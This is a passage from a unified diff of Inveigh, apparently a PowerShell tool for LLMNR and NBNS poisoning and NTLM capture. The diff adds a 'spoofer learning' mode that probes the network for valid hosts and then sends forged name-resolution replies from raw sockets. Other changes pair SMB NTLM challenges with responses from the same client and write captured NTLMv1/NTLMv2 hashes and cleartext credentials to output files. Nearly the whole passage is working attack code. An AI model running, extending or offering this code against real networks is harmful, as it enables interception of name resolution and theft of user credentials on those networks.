[System.Diagnostics.Stopwatch]::StartNew() + } if($RunTime) { - $sniffer_timeout = new-timespan -Minutes $RunTime + $sniffer_timeout = New-TimeSpan -Minutes $RunTime $sniffer_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() } @@ -1397,7 +1416,16 @@ $sniffer_scriptblock = { if($SMB -eq 'Y') { - SMBNTLMResponse $payload_bytes + + if($NTLM_challenge -and $client_IP -eq $source_IP -and $client_port -eq $source_port) + { + SMBNTLMResponse $payload_bytes + } + + $client_IP = "" + $client_port = "" + $NTLM_challenge = "" + } } @@ -1406,7 +1434,16 @@ $sniffer_scriptblock = if($SMB -eq 'Y') { - SMBNTLMResponse $payload_bytes + + if($NTLM_challenge -and $client_IP -eq $source_IP -and $client_port -eq $source_port) + { + SMBNTLMResponse $payload_bytes + } + + $client_IP = "" + $client_port = "" + $NTLM_challenge = "" + } } @@ -1422,6 +1459,8 @@ $sniffer_scriptblock = if($SMB -eq 'Y') { + $client_IP = $destination_IP + $client_port = $destination_port $NTLM_challenge = SMBNTLMChallenge $payload_bytes } @@ -1432,6 +1471,8 @@ $sniffer_scriptblock = if($SMB -eq 'Y') { + $client_IP = $destination_IP + $client_port = $destination_port $NTLM_challenge = SMBNTLMChallenge $payload_bytes } @@ -1443,7 +1484,7 @@ $sniffer_scriptblock = 17 { # UDP - $source_port = $binary_reader.ReadBytes(2) + $source_port = $binary_reader.ReadBytes(2) $endpoint_source_port = DataToUInt16 ($source_port) $destination_port = DataToUInt16 $binary_reader.ReadBytes(2) $UDP_length = $binary_reader.ReadBytes(2) @@ -1452,21 +1493,20 @@ $sniffer_scriptblock = $payload_bytes = $binary_reader.ReadBytes(($UDP_length_uint - 2) * 4) # Incoming packets - switch ($destination_port) + switch($destination_port) { 137 # NBNS { - if($payload_bytes[5] -eq 1 -and $IP -ne $source_IP) + if(([System.BitConverter]::ToString($payload_bytes[4..7]) -eq '00-01-00-00' -or [System.BitConverter]::ToString($payload_bytes[4..7]) -eq '00-00-00-01') -and [System.BitConverter]::ToString($payload_bytes[10..11]) -ne '00-01') { - $UDP_length[0] += 16 + $UDP_length[0] += 12 $NBNS_response_data = $payload_bytes[13..$payload_bytes.Length] + - $NBNS_TTL_bytes + - 0x00,0x06,0x00,0x00 + - ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() + - 0x00,0x00,0x00,0x00 + $NBNS_TTL_bytes + + 0x00,0x06,0x00,0x00 + + ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() $NBNS_response_packet = 0x00,0x89 + $source_port[1,0] + @@ -1476,9 +1516,6 @@ $sniffer_scriptblock = 0x85,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x20 + $NBNS_response_data - $send_socket = New-Object Net.Sockets.Socket([System.Net.Sockets.AddressFamily]::InterNetwork,[System.Net.Sockets.SocketType]::Raw,[System.Net.Sockets.ProtocolType]::Udp) - $send_socket.SendBufferSize = 1024 - $destination_point = New-Object Net.IPEndpoint($source_IP,$endpoint_source_port) $NBNS_query_type = [System.BitConverter]::ToString($payload_bytes[43..44]) switch ($NBNS_query_type) @@ -1506,17 +1543,17 @@ $sniffer_scriptblock = '42-4D' { - $NBNS_query_type = '1C' + $NBNS_query_type = '1C' } '42-4E' { - $NBNS_query_type = '1D' + $NBNS_query_type = '1D' } '42-4F' { - $NBNS_query_type = '1E' + $NBNS_query_type = '1E' } } @@ -1547,54 +1584,154 @@ $sniffer_scriptblock = } until($n -gt ($NBNS_query_string_subtracted.Length - 1) -or $NBNS_query_string.Length -eq 15) + $NBNS_request_ignore = $false + if($NBNS -eq 'Y') { - if($NBNSTypes -contains $NBNS_query_type) + if($SpooferLearning -eq 'Y' -and $inveigh.valid_host_list -notcontains $NBNS_query_string -and [System.BitConverter]::ToString($payload_bytes[4..7]) -eq '00-01-00-00' -and $source_IP -ne $IP) { - - if ((!$SpooferHostsReply -or $SpooferHostsReply -contains $NBNS_query_string) -and (!$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $NBNS_query_string) -and (!$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and (!$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and ($inveigh.spoofer_repeat -or $inveigh.IP_capture_list -notcontains $source_IP.IPAddressToString)) - { - $send_socket.sendTo($NBNS_response_packet,$destination_point) - $send_socket.Close() - $NBNS_response_message = "- spoofed response has been sent" - } - else + + if(($NBNS_learning_log.Exists({param($s) $s -like "20* $NBNS_query_string"}))) { + $NBNS_learning_queue_time = [DateTime]$NBNS_learning_log.Find({param($s) $s -like "20* $NBNS_query_string"}).SubString(0,19) - if($SpooferHostsReply -and $SpooferHostsReply -notcontains $NBNS_query_string) - { - $NBNS_response_message = "- $NBNS_query_string is not on reply list" - } - elseif($SpooferHostsIgnore -and $SpooferHostsIgnore -contains $NBNS_query_string) + if((Get-Date) -ge $NBNS_learning_queue_time.AddMinutes($SpooferLearningInterval)) { - $NBNS_response_message = "- $NBNS_query_string is on ignore list" - } - elseif($SpooferIPsReply -and $SpooferIPsReply -notcontains $source_IP) - { - $NBNS_response_message = "- $source_IP is not on reply list" - } - elseif($SpooferIPsIgnore -and $SpooferIPsIgnore -contains $source_IP) - { - $NBNS_response_message = "- $source_IP is on ignore list" + $NBNS_learning_log.RemoveAt($NBNS_learning_log.FindIndex({param($s) $s -like "20* $NBNS_query_string"})) + $NBNS_learning_send = $true } else { - $NBNS_response_message = "- not spoofed due to previous capture" + $NBNS_learning_send = $false } - + + } + else + { + $NBNS_learning_send = $true } + if($NBNS_learning_send) + { + $NBNS_transaction_ID = [String](1..2 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) + $NBNS_transaction_ID_bytes = $NBNS_transaction_ID.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $NBNS_transaction_ID = $NBNS_transaction_ID -replace " ","-" + $NBNS_UDP_client = new-Object System.Net.Sockets.UdpClient 137 + $NBNS_hostname_bytes = $payload_bytes[13..($payload_bytes.Length - 5)] + + $NBNS_request_packet = $NBNS_transaction_ID_bytes + + 0x01,0x10,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x20 + + $NBNS_hostname_bytes + + 0x00,0x20,0x00,0x01 + + $NBNS_learning_destination_endpoint = New-Object System.Net.IPEndpoint([IPAddress]::broadcast,137) + $NBNS_UDP_client.Connect($NBNS_learning_destination_endpoint) + $NBNS_UDP_client.Send($NBNS_request_packet,$NBNS_request_packet.Length) + $NBNS_UDP_client.Close() + $NBNS_learning_log.Add("$(Get-Date -format 's') $NBNS_transaction_ID $NBNS_query_string") + $inveigh.console_queue.Add("$(Get-Date -format 's') - NBNS request for $NBNS_query_string sent to " + $NBNS_learning_destination_endpoint.Address.IPAddressToString) + $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - LLMNR request for $NBNS_query_string sent to " + $NBNS_learning_destination_endpoint.Address.IPAddressToString)]) + } + + } + + if(($inveigh.valid_host_list -notcontains $NBNS_query_string -or $SpooferHostsReply -contains $NBNS_query_string) -and (!$SpooferHostsReply -or $SpooferHostsReply -contains $NBNS_query_string) -and ( + !$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $NBNS_query_string) -and (!$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and ( + !$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and ($inveigh.spoofer_repeat -or $inveigh.IP_capture_list -notcontains $source_IP.IPAddressToString) -and ($NBNS_query_string.Trim() -ne '*') -and ( + $SpooferLearning -eq 'N' -or ($SpooferLearning -eq 'Y' -and !$SpooferLearningDelay) -or ($SpooferLearningDelay -and $spoofer_learning_stopwatch.Elapsed -ge $spoofer_learning_delay)) -and ($source_IP -ne $IP) -and ( + $NBNSTypes -contains $NBNS_query_type)) + { + + if($SpooferLearning -eq 'N' -or !$NBNS_learning_log.Exists({param($s) $s -like "* " + [System.BitConverter]::ToString($payload_bytes[0..1]) + " *"})) + { + $NBNS_send_socket = New-Object Net.Sockets.Socket([System.Net.Sockets.AddressFamily]::InterNetwork,[System.Net.Sockets.SocketType]::Raw,[System.Net.Sockets.ProtocolType]::Udp) + $NBNS_send_socket.SendBufferSize = 1024 + $NBNS_destination_point = New-Object Net.IPEndpoint($source_IP,$endpoint_source_port) + $NBNS_send_socket.SendTo($NBNS_response_packet,$NBNS_destination_point) + $NBNS_send_socket.Close() + $NBNS_response_message = "- response sent" + } + else + { + $NBNS_request_ignore = $true + } + } else { - $NBNS_response_message = "- spoof not sent due to disabled type" + + if($source_IP -eq $IP -and $NBNS_learning_log.Exists({param($s) $s -like "* " + [System.BitConverter]::ToString($payload_bytes[0..1]) + " *"})) + { + $NBNS_request_ignore = $true + } + elseif($NBNSTypes -notcontains $NBNS_query_type) + { + $NBNS_response_message = "- disabled NBNS type" + } + elseif($SpooferHostsReply -and $SpooferHostsReply -notcontains $NBNS_query_string) + { + $NBNS_response_message = "- $NBNS_query_string is not on reply list" + } + elseif($SpooferHostsIgnore -and $SpooferHostsIgnore -contains $NBNS_query_string) + { + $NBNS_response_message = "- $NBNS_query_string is on ignore list" + } + elseif($SpooferIPsReply -and $SpooferIPsReply -notcontains $source_IP) + { + $NBNS_response_message = "- $source_IP is not on reply list" + } + elseif($SpooferIPsIgnore -and $SpooferIPsIgnore -contains $source_IP) + { + $NBNS_response_message = "- $source_IP is on ignore list" + } + elseif($NBNS_query_string.Trim() -eq '*') + { + $NBNS_response_message = "- NBSTAT request" + } + elseif($inveigh.valid_host_list -contains $NBNS_query_string) + { + $NBNS_response_message = "- $NBNS_query_string is a valid host" + } + elseif($inveigh.IP_capture_list -contains $source_IP.IPAddressToString) + { + $NBNS_response_message = "- previous capture from $source_IP" + } + elseif($SpooferLearningDelay -and $spoofer_learning_stopwatch.Elapsed -lt $spoofer_learning_delay) + { + $NBNS_response_message = "- " + [Int]($SpooferLearningDelay - $spoofer_learning_stopwatch.Elapsed.TotalMinutes) + " minute(s) until spoofing starts" + } + elseif($source_IP -eq $IP -and !$NBNS_learning_log.Exists({param($s) $s -like "* " + [System.BitConverter]::ToString($payload_bytes[0..1]) + " *"})) + { + $NBNS_response_message = "- request is local" + } + else + { + $NBNS_response_message = "- something went wrong" + } + } } - $inveigh.console_queue.Add("$(Get-Date -format 's') - NBNS request for $NBNS_query_string<$NBNS_query_type> received from $source_IP $NBNS_response_message") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - NBNS request for $NBNS_query_string<$NBNS_query_type> received from $source_IP $NBNS_response_message")]) + if(!$NBNS_request_ignore -and [System.BitConverter]::ToString($payload_bytes[4..7]) -eq '00-01-00-00') + { + $inveigh.console_queue.Add("$(Get-Date -format 's') - NBNS request for $NBNS_query_string<$NBNS_query_type> received from $source_IP $NBNS_response_message") + $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - NBNS request for $NBNS_query_string<$NBNS_query_type> received from $source_IP $NBNS_response_message")]) + } + elseif($SpooferLearning -eq 'Y' -and [System.BitConverter]::ToString($payload_bytes[4..7]) -eq '00-00-00-01' -and $NBNS_learning_log.Exists({param($s) $s -like "* " + [System.BitConverter]::ToString($payload_bytes[0..1]) + " *"})) + { + [Byte[]]$NBNS_response_IP_bytes = $payload_bytes[($payload_bytes.Length - 4)..($payload_bytes.Length)] + $NBNS_response_IP = [System.Net.IPAddress]$NBNS_response_IP_bytes + $NBNS_response_IP = $NBNS_response_IP.IPAddressToString + + if($inveigh.valid_host_list -notcontains $NBNS_query_string) + { + $inveigh.valid_host_list.Add($NBNS_query_string) + $inveigh.console_queue.Add("$(Get-Date -format 's') - NBNS response $NBNS_response_IP for $NBNS_query_string received from $source_IP - $NBNS_query_string added to valid host list") + $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - NBNS response $NBNS_response_IP for $NBNS_query_string received from $source_IP - $NBNS_query_string added to valid host list")]) + } + } } } @@ -1612,29 +1749,100 @@ $sniffer_scriptblock = ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() $LLMNR_response_packet = 0x14,0xeb + - $source_port[1,0] + - $UDP_length[1,0] + - 0x00,0x00 + - $payload_bytes[0,1] + - 0x80,0x00,0x00,0x01,0x00,0x01,0x00,0x00,0x00,0x00 + - $LLMNR_response_data + $source_port[1,0] + + $UDP_length[1,0] + + 0x00,0x00 + + $payload_bytes[0,1] + + 0x80,0x00,0x00,0x01,0x00,0x01,0x00,0x00,0x00,0x00 + + $LLMNR_response_data $LLMNR_query = [System.BitConverter]::ToString($payload_bytes[13..($payload_bytes.Length - 4)]) $LLMNR_query = $LLMNR_query -replace "-00","" - $LLMNR_query = $LLMNR_query.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $LLMNR_query_string = New-Object System.String($LLMNR_query,0,$LLMNR_query.Length) + + if($LLMNR_query.Length -eq 2) + { + $LLMNR_query = [Char][System.Convert]::ToInt16($LLMNR_query,16) + $LLMNR_query_string = New-Object System.String($LLMNR_query) + } + else + { + $LLMNR_query = $LLMNR_query.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $LLMNR_query_string = New-Object System.String($LLMNR_query,0,$LLMNR_query.Length) + } + + $LLMNR_request_ignore = $false if($LLMNR -eq 'Y') { - if((!$SpooferHostsReply -or $SpooferHostsReply -contains $LLMNR_query_string) -and (!$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $LLMNR_query_string) -and (!$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and (!$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and ($inveigh.spoofer_repeat -or $inveigh.IP_capture_list -notcontains $source_IP.IPAddressToString)) + if($SpooferLearning -eq 'Y' -and $inveigh.valid_host_list -contains $LLMNR_query_string -and $source_IP -ne $IP) { - $send_socket = New-Object System.Net.Sockets.Socket([System.Net.Sockets.AddressFamily]::InterNetwork,[System.Net.Sockets.SocketType]::Raw,[System.Net.Sockets.ProtocolType]::Udp ) - $send_socket.SendBufferSize = 1024 - $destination_point = New-Object System.Net.IPEndpoint($source_IP,$endpoint_source_port) - $send_socket.SendTo($LLMNR_response_packet,$destination_point) - $send_socket.Close() - $LLMNR_response_message = "- spoofed response has been sent" + + if(($LLMNR_learning_log.Exists({param($s) $s -like "20* $LLMNR_query_string"}))) + { + $LLMNR_learning_queue_time = [DateTime]$LLMNR_learning_log.Find({param($s) $s -like "20* $LLMNR_query_string"}).SubString(0,19) + + if((Get-Date) -ge $LLMNR_learning_queue_time.AddMinutes($SpooferLearningInterval)) + { + $LLMNR_learning_log.RemoveAt($LLMNR_learning_log.FindIndex({param($s) $s -like "20* $LLMNR_query_string"})) + $LLMNR_learning_send = $true + } + else + { + $LLMNR_learning_send = $false + } + + } + else + { + $LLMNR_learning_send = $true + } + + if($LLMNR_learning_send) + { + $LLMNR_transaction_ID = [String](1..2 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) + $LLMNR_transaction_ID_bytes = $LLMNR_transaction_ID.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $LLMNR_transaction_ID = $LLMNR_transaction_ID -replace " ","-" + $LLMNR_UDP_client = new-Object System.Net.Sockets.UdpClient + $LLMNR_hostname_bytes = $payload_bytes[13..($payload_bytes.Length - 5)] + + $LLMNR_request_packet = $LLMNR_transaction_ID_bytes + + 0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00 + + ($LLMNR_hostname_bytes.Length - 1) + + $LLMNR_hostname_bytes + + 0x00,0x01,0x00,0x01 + + $LLMNR_learning_destination_endpoint = New-Object System.Net.IPEndpoint([IPAddress]"224.0.0.252",5355) + $LLMNR_UDP_client.Connect($LLMNR_learning_destination_endpoint) + $LLMNR_UDP_client.Send($LLMNR_request_packet,$LLMNR_request_packet.Length) + $LLMNR_UDP_client_port = ($LLMNR_UDP_client.Client.LocalEndPoint).Port + $LLMNR_UDP_client.Close() + $LLMNR_learning_log.Add("$(Get-Date -format 's') $LLMNR_transaction_ID $LLMNR_query_string") + $inveigh.console_queue.Add("$(Get-Date -format 's') - LLMNR request for $LLMNR_query_string sent to 224.0.0.252") + $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - LLMNR request for $LLMNR_query_string sent to 224.0.0.252")]) + } + + } + + if(($inveigh.valid_host_list -notcontains $LLMNR_query_string -or $SpooferHostsReply -contains $LLMNR_query_string) -and (!$SpooferHostsReply -or $SpooferHostsReply -contains $LLMNR_query_string) -and ( + !$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $LLMNR_query_string) -and (!$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and ( + !$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and ($inveigh.spoofer_repeat -or $inveigh.IP_capture_list -notcontains $source_IP.IPAddressToString) -and ( + $SpooferLearning -eq 'N' -or ($SpooferLearning -eq 'Y' -and !$SpooferLearningDelay) -or ($SpooferLearningDelay -and $spoofer_learning_stopwatch.Elapsed -ge $spoofer_learning_delay))) + { + + if($SpooferLearning -eq 'N' -or !$LLMNR_learning_log.Exists({param($s) $s -like "* " + [System.BitConverter]::ToString($payload_bytes[0..1]) + " *"})) + { + $LLMNR_send_socket = New-Object System.Net.Sockets.Socket([System.Net.Sockets.AddressFamily]::InterNetwork,[System.Net.Sockets.SocketType]::Raw,[System.Net.Sockets.ProtocolType]::Udp ) + $LLMNR_send_socket.SendBufferSize = 1024 + $LLMNR_destination_point = New-Object System.Net.IPEndpoint($source_IP,$endpoint_source_port) + $LLMNR_send_socket.SendTo($LLMNR_response_packet,$LLMNR_destination_point) + $LLMNR_send_socket.Close() + $LLMNR_response_message = "- response sent" + } + else + { + $LLMNR_request_ignore = $true + } } else { @@ -1655,21 +1863,77 @@ $sniffer_scriptblock = { $LLMNR_response_message = "- $source_IP is on ignore list" } + elseif($inveigh.valid_host_list -contains $LLMNR_query_string) + { + $LLMNR_response_message = "- $LLMNR_query_string is a valid host" + } + elseif($inveigh.IP_capture_list -contains $source_IP.IPAddressToString) + { + $LLMNR_response_message = "- previous capture from $source_IP" + } + elseif($SpooferLearningDelay -and $spoofer_learning_stopwatch.Elapsed -lt $spoofer_learning_delay) + { + $LLMNR_response_message = "- " + [Int]($SpooferLearningDelay - $spoofer_learning_stopwatch.Elapsed.TotalMinutes) + " minute(s) until spoofing starts" + } else { - $LLMNR_response_message = "- not spoofed due to previous capture" + $LLMNR_response_message = "- something went wrong" } } } - $inveigh.console_queue.Add("$(Get-Date -format 's') - LLMNR request for $LLMNR_query_string received from $source_IP $LLMNR_response_message") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - LLMNR request for $LLMNR_query_string received from $source_IP $LLMNR_response_message")]) + if(!$LLMNR_request_ignore) + { + $inveigh.console_queue.Add("$(Get-Date -format 's') - LLMNR request for $LLMNR_query_string received from $source_IP $LLMNR_response_message") + $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - LLMNR request for $LLMNR_query_string received from $source_IP $LLMNR_response_message")]) + } + + } + } + + } + + switch($endpoint_source_port) + { + + 5355 # LLMNR Response + { + + if($SpooferLearning -eq 'Y' -and $LLMNR_learning_log.Exists({param($s) $s -like "* " + [System.BitConverter]::ToString($payload_bytes[0..1]) + " *"})) + { + $LLMNR_query = [System.BitConverter]::ToString($payload_bytes[13..($payload_bytes[12] + 13)]) + $LLMNR_query = $LLMNR_query -replace "-00","" + + if($LLMNR_query.Length -eq 2) + { + $LLMNR_query = [Char][System.Convert]::ToInt16($LLMNR_query,16) + $LLMNR_query_string = New-Object System.String($LLMNR_query) + } + else + { + $LLMNR_query = $LLMNR_query.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $LLMNR_query_string = New-Object System.String($LLMNR_query,0,$LLMNR_query.Length) + } + + [Byte[]]$LLMNR_response_IP_bytes = $payload_bytes[($payload_bytes.Length - 4)..($payload_bytes.Length)] + $LLMNR_response_IP = [System.Net.IPAddress]$LLMNR_response_IP_bytes + $LLMNR_response_IP = $LLMNR_response_IP.IPAddressToString + + if($inveigh.valid_host_list -notcontains $LLMNR_query_string) + { + $inveigh.valid_host_list.Add($LLMNR_query_string) + $inveigh.console_queue.Add("$(Get-Date -format 's') - LLMNR response $LLMNR_response_IP for $LLMNR_query_string received from $source_IP - $LLMNR_query_string added to valid host list") + $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - LLMNR response $LLMNR_response_IP for $LLMNR_query_string received from $source_IP - $LLMNR_query_string added to valid host list")]) + } + } + } } + } } @@ -1686,14 +1950,6 @@ $sniffer_scriptblock = $inveigh.HTTP_listener.Close() } - if($inveigh.relay_running) - { - $inveigh.console_queue.Add("Inveigh Relay exited due to run time at $(Get-Date -format 's')") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh Relay exited due to run time")]) - Start-Sleep -m 5 - $inveigh.relay_running = $false - } - $inveigh.console_queue.Add("Inveigh exited due to run time at $(Get-Date -format 's')") $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh exited due to run time")]) Start-Sleep -m 5 @@ -1740,25 +1996,25 @@ $sniffer_scriptblock = while($inveigh.log_file_queue.Count -gt 0) { $inveigh.log_file_queue[0]|Out-File $inveigh.log_out_file -Append - $inveigh.log_file_queue.RemoveRange(0,1) + $inveigh.log_file_queue.RemoveAt(0) } while($inveigh.NTLMv1_file_queue.Count -gt 0) { $inveigh.NTLMv1_file_queue[0]|Out-File $inveigh.NTLMv1_out_file -Append - $inveigh.NTLMv1_file_queue.RemoveRange(0,1) + $inveigh.NTLMv1_file_queue.RemoveAt(0) } while($inveigh.NTLMv2_file_queue.Count -gt 0) { $inveigh.NTLMv2_file_queue[0]|Out-File $inveigh.NTLMv2_out_file -Append - $inveigh.NTLMv2_file_queue.RemoveRange(0,1) + $inveigh.NTLMv2_file_queue.RemoveAt(0) } while($inveigh.cleartext_file_queue.Count -gt 0) { $inveigh.cleartext_file_queue[0]|Out-File $inveigh.cleartext_out_file -Append - $inveigh.cleartext_file_queue.RemoveRange(0,1) + $inveigh.cleartext_file_queue.RemoveAt(0) } } @@ -1796,9 +2052,9 @@ function HTTPListener() $HTTP_powershell = [PowerShell]::Create() $HTTP_powershell.Runspace = $HTTP_runspace $HTTP_powershell.AddScript($shared_basic_functions_scriptblock) > $null - $HTTP_powershell.AddScript($SMB_NTLM_functions_scriptblock) > $null - $HTTP_powershell.AddScript($HTTP_scriptblock).AddArgument($HTTPAuth).AddArgument( - $HTTPBasicRealm).AddArgument($WPADAuth) > $null + $HTTP_powershell.AddScript($HTTP_scriptblock).AddArgument($Challenge).AddArgument($HTTPAuth).AddArgument( + $HTTPBasicRealm).AddArgument($HTTPDefaultEXE).AddArgument($HTTPDefaultFile).AddArgument( + $HTTPDir).AddArgument($HTTPResponse).AddArgument($WPADAuth).AddArgument($WPADResponse) > $null $HTTP_powershell.BeginInvoke() > $null } @@ -1816,6 +2072,7 @@ function SnifferSpoofer() $NBNS_response_message).AddArgument($IP).AddArgument($SpooferIP).AddArgument($SMB).AddArgument( $LLMNR).AddArgument($NBNS).AddArgument($NBNSTypes).AddArgument($SpooferHostsReply).AddArgument( $SpooferHostsIgnore).AddArgument($SpooferIPsReply).AddArgument($SpooferIPsIgnore).AddArgument( + $SpooferLearning).AddArgument($SpooferLearningDelay).AddArgument($SpooferLearningInterval).AddArgument( $RunTime).AddArgument($LLMNRTTL).AddArgument($NBNSTTL) > $null $sniffer_powershell.BeginInvoke() > $null } @@ -1825,7 +2082,7 @@ function SnifferSpoofer() # Startup Enabled Services # HTTP Server Start -if(($inveigh.HTTP -or $inveigh.HTTPS) -and $SMBRelay -eq 'N') +if($inveigh.HTTP -or $inveigh.HTTPS) { HTTPListener } @@ -1838,7 +2095,7 @@ if($inveigh.console_output) if($ConsoleStatus) { - $console_status_timeout = new-timespan -Minutes $ConsoleStatus + $console_status_timeout = New-TimeSpan -Minutes $ConsoleStatus $console_status_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() } @@ -1851,7 +2108,7 @@ if($inveigh.console_output) if($inveigh.output_stream_only) { Write-Output($inveigh.console_queue[0] + $inveigh.newline) - $inveigh.console_queue.RemoveRange(0,1) + $inveigh.console_queue.RemoveAt(0) } else { @@ -1859,12 +2116,6 @@ if($inveigh.console_output) switch -wildcard ($inveigh.console_queue[0]) { - "Inveigh *exited *" - { - Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - "* written to *" { @@ -1873,31 +2124,31 @@ if($inveigh.console_output) Write-Warning $inveigh.console_queue[0] } - $inveigh.console_queue.RemoveRange(0,1) + $inveigh.console_queue.RemoveAt(0) } "* for relay *" { Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) + $inveigh.console_queue.RemoveAt(0) } "*SMB relay *" { Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) + $inveigh.console_queue.RemoveAt(0) } "* local administrator *" { Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) + $inveigh.console_queue.RemoveAt(0) } default { Write-Output $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) + $inveigh.console_queue.RemoveAt(0) } } @@ -2021,114 +2272,163 @@ if($inveigh.console_output) function Stop-Inveigh { - <# - .SYNOPSIS - Stop-Inveigh will stop all running Inveigh functions. - #> +<# +.SYNOPSIS +Stop-Inveigh will stop all running Inveigh functions. +#> + +if($inveigh) +{ - if($inveigh) + if($inveigh.running -or $inveigh.relay_running -or $inveigh.unprivileged_running) { - if($inveigh.running -or $inveigh.relay_running -or $inveigh.bruteforce_running) + + if($inveigh.HTTP_listener.IsListening) + { + $inveigh.HTTP_listener.Stop() + $inveigh.HTTP_listener.Close() + } + + if($inveigh.unprivileged_running) { + $inveigh.unprivileged_running = $false + Start-Sleep -s 5 + Write-Output("Inveigh Unprivileged exited at $(Get-Date -format 's')") + $inveigh.log.Add("$(Get-Date -format 's') - Inveigh Unprivileged exited") > $null - if($inveigh.HTTP_listener.IsListening) + if($inveigh.file_output) { - $inveigh.HTTP_listener.Stop() - $inveigh.HTTP_listener.Close() + "$(Get-Date -format 's') - Inveigh Unprivileged exited" | Out-File $Inveigh.log_out_file -Append } - - if($inveigh.bruteforce_running) - { - $inveigh.bruteforce_running = $false - Write-Output("$(Get-Date -format 's') - Attempting to stop HTTP listener") - $inveigh.HTTP_listener.server.blocking = $false - Start-Sleep -s 1 - $inveigh.HTTP_listener.server.Close() - Start-Sleep -s 1 - $inveigh.HTTP_listener.Stop() - Write-Output("Inveigh Brute Force exited at $(Get-Date -format 's')") - $inveigh.log.Add("$(Get-Date -format 's') - Inveigh Brute Force exited") > $null - - if($inveigh.file_output) - { - "$(Get-Date -format 's') - Inveigh Brute Force exited" | Out-File $Inveigh.log_out_file -Append - } - } + } - if($inveigh.relay_running) + if($inveigh.relay_running) + { + $inveigh.relay_running = $false + Write-Output("Inveigh Relay exited at $(Get-Date -format 's')") + $inveigh.log.Add("$(Get-Date -format 's') - Inveigh Relay exited") > $null + + if($inveigh.file_output) { - $inveigh.relay_running = $false - Write-Output("Inveigh Relay exited at $(Get-Date -format 's')") - $inveigh.log.Add("$(Get-Date -format 's') - Inveigh Relay exited") > $null + "$(Get-Date -format 's') - Inveigh Relay exited" | Out-File $Inveigh.log_out_file -Append + } - if($inveigh.file_output) - { - "$(Get-Date -format 's') - Inveigh Relay exited" | Out-File $Inveigh.log_out_file -Append - } + } - } + if($inveigh.running) + { + $inveigh.running = $false + Write-Output("Inveigh exited at $(Get-Date -format 's')") + $inveigh.log.Add("$(Get-Date -format 's') - Inveigh exited") > $null - if($inveigh.running) + if($inveigh.file_output) { - $inveigh.running = $false - Write-Output("Inveigh exited at $(Get-Date -format 's')") - $inveigh.log.Add("$(Get-Date -format 's') - Inveigh exited") > $null + "$(Get-Date -format 's') - Inveigh exited" | Out-File $Inveigh.log_out_file -Append + } - if($inveigh.file_output) - { - "$(Get-Date -format 's') - Inveigh exited" | Out-File $Inveigh.log_out_file -Append - } + } - } + } + else + { + Write-Output("There are no running Inveigh functions") + } + + if($inveigh.HTTPS) + { + & "netsh" http delete sslcert ipport=0.0.0.0:443 > $null - } - else + try { - Write-Output("There are no running Inveigh functions") + $certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine") + $certificate_store.Open('ReadWrite') + $certificate = $certificate_store.certificates.Find("FindByThumbprint",$inveigh.certificate_thumbprint,$FALSE)[0] + $certificate_store.Remove($certificate) + $certificate_store.Close() } - - if($inveigh.HTTPS) + catch { - & "netsh" http delete sslcert ipport=0.0.0.0:443 > $null + Write-Output("SSL Certificate Deletion Error - Remove Manually") + $inveigh.log.Add("$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually") > $null - try + if($inveigh.file_output) { - $certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine") - $certificate_store.Open('ReadWrite') - $certificate = $certificate_store.certificates.Find("FindByThumbprint",$inveigh.certificate_thumbprint,$FALSE)[0] - $certificate_store.Remove($certificate) - 